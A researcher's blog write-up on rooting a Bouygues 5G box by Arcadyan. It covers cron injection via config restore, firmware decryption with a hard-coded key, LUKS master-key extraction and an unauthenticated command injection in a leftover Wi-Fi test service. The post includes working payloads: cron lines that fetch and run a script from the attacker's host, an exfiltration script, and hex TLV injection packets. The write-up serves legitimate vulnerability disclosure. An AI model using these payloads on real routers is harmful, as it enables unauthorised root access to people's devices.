Intro
Well, since I don’t have fiber in my apartment, and after a quick comparison of alternatives, I decided to get a Bouygues 5G box subscription.
A rather practical option and a good alternative for homes without fiber access.
But we’re not here to talk about performance and service quality :). Being very curious, I decided to take a closer look at how it works and see if there wasn’t a way to do a few fun things.
The Basics
Alright, let’s start with some basics about the players involved:
We have a box manufactured by Arcadyan. In terms of hardware, there’s not much to say (since the box is rented, I didn’t consider opening it but then I did oops). On the software side, it’s a router running OpenWRT with additional vendor-specific components. The administration interface is based on LuCi (which is the Web management interface for OpenWRT) but heavily customized to be more user-friendly and to limit access to functions that could provide too deep access to the box.
Initial Access to the Box
My first objective here was to obtain SSH-type access to the box, to then have a better overall view of the system without restrictions, making the subsequent exploitation process easier.
After poking around the web interface, nothing obvious jumped out at me. However, one feature caught my eye right from the start:
By examining the Backup/Restore configuration feature, we can note several things. First, the file downloaded during the “backup” is already a good lead:
Here we see that:
1
The downloaded file is actually an archive.
2
Once extracted, it contains the contents (or at least part of it, we’ll come back to this) of the /etc
directory on the router.
By reading the OpenWRT documentation, we understand that a backup essentially creates a tar archive of the files specified in /lib/upgrade/keep.d
(in our case, this file was specified by the manufacturer). During restoration, these files overwrite the ones present on the system.
After a quick analysis, most of the files are generic configuration files. However, one in particular caught my attention:
It appears that the cron tasks configuration file is also preserved, which gives us a great opportunity: if we manage to rewrite it and re-inject the backup, the router should then use this cron configuration file and execute our commands.
So we modify the file to check if our commands are executed:
$ cat root
0 * * * * /usr/sbin/logrotate -f /etc/logrotate.conf >/dev/null 2>&1
* * * * * /usr/bin/curl 192.168.1.101:4444 -d "$(id)"
We put this configuration back into the router (remembering to preserve permissions using the -p
option with tar), and start an ncat listener on our machine. We get:
The command works and is executed, and we’re root on top of that!
To get our stable and permanent access, we’ll use dropbear, which we’ll have previously compiled for the target architecture. We then add a line like this in the cron tasks:
* * * * * /usr/bin/curl 192.168.1.101:4444/a -o /tmp/f.sh && chmod 755 /tmp/f.sh && /tmp/f.sh
By using Python’s http.server module, we’ll serve the following file and all the necessary dropbear binaries:
#!/bin/sh
curl 192.168.1.101:4444/db -o /tmp/db #Download dropbear
curl 192.168.1.101:4444/dbk -o /tmp/dbk #Download dropbearkey, needed by dropbear
curl 192.168.1.101:4444 -d "$(ls /tmp)" #Ping back our server (debug)
chmod +x /tmp/db
chmod +x /tmp/dbk
curl 192.168.1.101:4444 -d "$(ls -lah /tmp)" #Check if perms are applied correctly
(
mkdir /etc/dropbear
mkdir /root/.ssh
/tmp/dbk -t rsa -f /etc/dropbear/dropbear_rsa_host_key 2>&1 #dropbear config
echo "ssh-rsa {our_ssh_key}" > /root/.ssh/authorized_keys 2>&1 #Add our key
/tmp/db -p 75 2>&1 #Start dropbear on port 75
) > /tmp/full_output.log #Redirect all output to a log file (debug)
curl -F "file=@/tmp/full_output.log" http://192.168.1.101:4444 #Exfil the log to check if everything is ok
After repeating the connection steps, we get this 🙂 :
We’re now connected as root on the router. That’s a good first step 😀.
The problem here is in keep.d
(mentioned earlier). By default, this file only contains these files as we can see here:
# Essential files that will be always kept
/etc/hosts
/etc/inittab
/etc/group
/etc/passwd
/etc/profile
/etc/shadow
/etc/shells
/etc/shinit
/etc/sysctl.conf
/etc/rc.local
In the router’s configuration, the keep.d
directory contains several additional files besides the default base-files-essential
, notably the base-files
file with these entries:
/etc/config/
/etc/config/network
/etc/config/system
/etc/crontabs/ #<----- The crontabs directory is saved
/etc/dropbear/
/etc/profile.d
Firmware Dump
After a short walk through the system, I thought it would be interesting to look at the firmware update logic.
In practice, a script at /usr/sbin/arc_autofw
runs daily (when auto-updates are enabled) via cron. Summarizing it for clarity (I’ve shortened the script to show only essential parts):
#!/bin/sh
API_SERVER="https://{arcadyan_api_server}"
CA_PATH="/usr/share/autofw/cert"
TMP_FW="/tmp/autofw.bin"
#Auth with a client key
CURL_OPT="-s --key ${CA_PATH}/client.key --cert ${CA_PATH}/client.crt"
MSG={router_data}
#The following command retrieves the current firmware version via arcadyan’s API
fwList=`curl ${CURL_OPT} -X POST -H "Content-Type: application/json" -d "$MSG" ${API_SERVER}/Cloud/fw/get_fw_list_url`
#(Program logic for parsing the response + error handling)*
#Then we get the final firmware download URL based on the previous response (served via AWS)
fw_url=`curl ${CURL_OPT} -X POST -H "Content-Type: application/json" -d "$MSG" ${API_SERVER}/Cloud/fw/get_fw_url`
#Finally, the firmware is downloaded using the return of the last request
curl ${CURL_OPT} -o "$TMP_FW" $file_url
#The program then uses sysupgrade (provided by default by OpenWRT) to perform the system upgrade
I retrieve the client certificates, make the request, download the firmware. However, when I try to extract it, a quick run with binwalk shows me that I’m facing an encrypted firmware:
I must have missed something. I go back and look at the update files. It turns out that the sysupgrade script has been slightly modified by Arcadyan to include a decryption function for the firmware:
if [ -e $IMAGE ]; then
v "Start decrypt FW ..."
echo 1 > /proc/safexcel/disable_EIP97 #Disable hardware acceleration for cryptography ???
encrypt_IMAGE=$IMAGE
/usr/bin/fw_decrypt decrypt $encrypt_IMAGE #The firmware is decrypted with the fw_decrypt binary
mv $encrypt_IMAGE"_decrypt" $IMAGE
echo "decrypt FW complete"
fi
After retrieving the fw_decrypt
binary, we end up with an executable, rather small, which presumably decrypts the downloaded file. The only problem is that it’s compiled for ARMv8a, and I’m too lazy to run qEmu. Instead, I open it in Ghidra to see if we can find hard-coded encryption keys.
We find a relatively simple program. It checks if the first argument is crypt
or decrypt
, and we also find a function I named “aes” that’s a basic AES encryption/decryption implementation. Depending on the first argument, the program encrypts or decrypts the file passed as an argument. The key is hard-coded in memory, and we can recover it:
We can then extract the hard-coded key:
We can decrypt the initial firmware, which is a gz archive:
Recovering the Root Filesystem
Now that we have the archive with the files, we can extract its contents and try to obtain all the files/directories that are flashed into memory during the update. For this, we locate the base file ubi-rootfs.squashfs
:
$ file ubi-rootfs.squashfs
ubi-rootfs.squashfs: UBI image, version 1
This file is thus a UBI image. To extract it, we use ubireader_extract_images
from ubireader:
$ ubireader_extract_images ubi-rootfs.squashfs
$ cd ubifs-root/ubi-rootfs.squashfs/
$ file img-1113276392_vol-rootfs.ubifs
img-1113276392_vol-rootfs.ubifs: LUKS encrypted file, ver 1 [aes, cbc-essiv:sha256, sha256] UUID: c5676a27-1360-4222-88f1-cdf813f27169, ...
We see that the extracted image is a LUKS-encrypted file. The only problem: we don’t have the (de)encryption key. It’s very likely that this key is in boot-verified.img
or lk-verified.img
. However, since we have direct SSH access to the system, we can easily retrieve the Master Key and thus decrypt the volume without knowing the initial key.
We connect to the router via SSH:
##We check that the MK digests match between the local file and the router:
root@meteor:~# cryptsetup luksDump /dev/ubiblock0_0
LUKS header information ...
...
##The digests match, so the masterkey is valid for our file, we retrieve it:
root@meteor:~# dmsetup table --showkeys
rootfs: 0 108992 crypt aes-cbc-essiv:sha256 53f1c617128a0c78c2404a1a3c5eb048a3c98860b088a3c2cea85255f92b350c 0 252:0 4096
##On our machine, we put the key in a raw file:
$ echo "53f1c617128a0c78c2404a1a3c5eb048a3c98860b088a3c2cea85255f92b350c" > masterkey.txt && xxd -r -p masterkey.txt mk.bin
We now have the master key that allows us to decrypt the volume. We can then mount it:
$ sudo cryptsetup --master-key-file=mk.bin luksOpen img-1113276392_vol-rootfs.ubifs decryptedFS
We finally have the disk mounted on our machine:
Exotic Local Service and Unauthenticated RCE
When we do an Nmap scan of our router, we find that ports 8000 and 8080 are open. Moreover, Nmap gets a response when probing them but can’t identify the service. With the “TerminalServer” probe, we get the following fingerprint:
I wrote a small Python script to fuzz the TCP packets sent to the service. Although it’s quite unstable (frequent crashes), I managed to get the following responses:
Searching for the service name, I came across this repo. The running service appears to be a test utility developed by the Wi-Fi Alliance to test/prepare routers during testing phases (so presumably it has no business being on a production device 🙂). After exploring the code (the documentation not being very helpful), I more or less understood how the service works. It listens on a TCP port, waiting for TLV packets in this format (Type and Length defined as unsigned shorts):
Type | Length | Value |
---|---|---|
2 bytes | 2 bytes | 0-640 bytes |
(Also remember endianness differences: network protocols often use big-endian, while C typically processes in little-endian, so a packet of type ‘1’ would start with \x01\x00
when sent, not \x00\x01
.)
We find the list of functions and their corresponding values in lib/wfa_cmdtbl.c, and a description of the functions is available in the documentation, which I won’t attach here because it contains:
But you can easily find it with a Google search 🙃.
A sample packet to get the WiFi-TestSuite version (calling agtCmdProcGetVersion
) would be:
\x01\x00\x00\x00
So the value is ‘1’ because we call the first function (see wfa_cmdtbl) and the length is ‘0’ because this function takes no parameters. And surprise:
We get the version as previously seen 😀.
To be sure it’s not a fluke, we can send the command wfaStaGetInfo
(27) which should return basic info:
We do indeed have access to the service and our assumptions about the code seem correct 🙂.
Digging Deeper
Naturally, I wondered if we could execute commands via this little-known, poorly documented service. (Spoiler: yes)
First, I check the documentation for the precise usage of each function. Not much of interest there. Sure, there are sensitive commands to modify the device configuration or gather information, but these seem to rely on binaries not present on the device or return info the attacker likely already knows (assuming the attacker is on the LAN and already knows the access key, for instance).
However, looking at the code, something stands out. I’ll just go back a bit to clarify how the binary processes received packets:
Nothing abnormal here. Packets are parsed as they’re received, and parameters are stored in a variable (they must be ASCII).
The function parsing the packets is wfaDecodeTLV:
/*
* wfaDecodeTLV(); Decoding a TLV format into values
*/
BOOL wfaDecodeTLV(BYTE *tlv_data, int tlv_len, WORD *ptag, int *pval_len, BYTE *pvalue)
{
wfaTLV *data = (wfaTLV *)tlv_data;
if(pvalue == NULL)
{
DPRINT_ERR(WFA_ERR, "Parm buf invalid\n");
return WFA_FAILURE; //False
}
*ptag = data->tag;
*pval_len = data->len;
if(tlv_len < *pval_len)
return WFA_FAILURE; //False
if(*pval_len != 0 && *pval_len < MAX_PARMS_BUFF)
{
wMEMCPY(pvalue, tlv_data+4, *pval_len);
}
return WFA_SUCCESS;
}
The functions are then called with the output of the above:
gWfaCmdFuncTbl[xcCmdTag](cmdLen, parmsVal, &respLen, (BYTE *)respBuf);
Here, we look up the function at index xcCmdTag
in our table defined earlier, and pass cmdLen
and parmsVal
to it.
Now, let’s see how the called functions are constructed. Take for instance WfaStaGetIpConfig (simplified):
int wfaStaGetIpConfig(int len, BYTE *caCmdBuf, int *respLen, BYTE *respBuf)
{
dutCommand_t *getIpConf = (dutCommand_t *)caCmdBuf;
char *ifname = getIpConf->intf;
char gCmdStr[256];
sprintf(gCmdStr, "getipconfig.sh /tmp/ipconfig.txt %s\n", ifname);
system(gCmdStr); // Executes the formatted command :)
...
return WFA_SUCCESS;
}
We see that parameters are cast to a dutCommand_t
struct defined here:
typedef struct dut_commands
{
char intf[WFA_IF_NAME_LEN];
union _cmds
{
//Other types
} cmdsu;
} dutCommand_t;
Given WFA_IF_NAME_LEN
is 16, the command that will be executed is formatted with the first 16 bytes of our input parameters. If we supply malicious input, we can achieve command injection.
0a00 | 0a00 | 2428736c656570203529
Type (10=0x0a) | Length (10=0x0a) | Val='$(sleep 5)'
The formatted command would be getipconfig.sh /tmp/ipconfig.txt $(sleep 5)\n
, allowing us to execute commands.
However, the exploitability is questionable because we only have 13 characters of payload (16 bytes minus the 3 for $()
), making stable exploitation difficult.
Note on Non-Exploitable Within 13 Characters
While theoretically possible with multiple commands like $(echo a>>b)
, the injection via these functions is not stable. For reasons not yet determined, possibly related to how the program handles multiple connections/packets, it leads to frequent crashes and port closures. A router reboot is required, and since our changes aren’t persistent, we lose progress.
Exploitation via Other Functions
It’s possible to find functions that accept longer inputs. For the exploit, I used the wfaTGSendPing
function, defined here, which uses the following structure to cast parameters:
//#define IPV6_ADDRESS_STRING_LEN 40
typedef struct _tg_ping_start
{
char dipaddr[IPV6_ADDRESS_STRING_LEN]; /* destination/remote ip address */
int frameSize;
float frameRate;
int duration;
int type;
int qos;
int iptype;
int dscp;
} tgPingStart_t;
The function then passes this structure to WfaSendPing, where the command injection occurs:
if (staPing->iptype == 2)
{
...
sprintf(cmdStr, "echo streamid=%i > /tmp/spout_%d.txt;wfaping6.sh %s %s -i %f -c %i -Q %d -s %i -q >> /tmp/spout_%d.txt 2>/dev/null",
streamid,streamid,bflag, staPing->dipaddr, *interval, totalpkts, tos, staPing->frameSize,streamid);
...
system(cmdStr);
}
Here staPing->dipaddr
is integrated into the command. With an IPv6 address, we have 40 characters max, giving us more room for exploitation, like using the binaries already present on the target system.
We can send a packet:
0200 | 2100 | 24287368202d63202224286375726c203139322e3136382e312e3234373a34292229
Type(2=0x02) | Length(33=0x21) | Value='$(sh -c "$(curl 192.168.1.247:4)")'
Meanwhile, on my machine, I run a Python server that serves:
/
→ A bash script that downloads the two binaries needed by dropbear, makes them executable, sets up dropbear with a public key, and starts it on port 75./db
→ The dropbear executable/dbk
→ The dropbearkey executablePOST /*
→ Prints POST requests to the console (debug)
The PoC source code is available here: https://github.com/fj016/CVE-2024-41992-PoC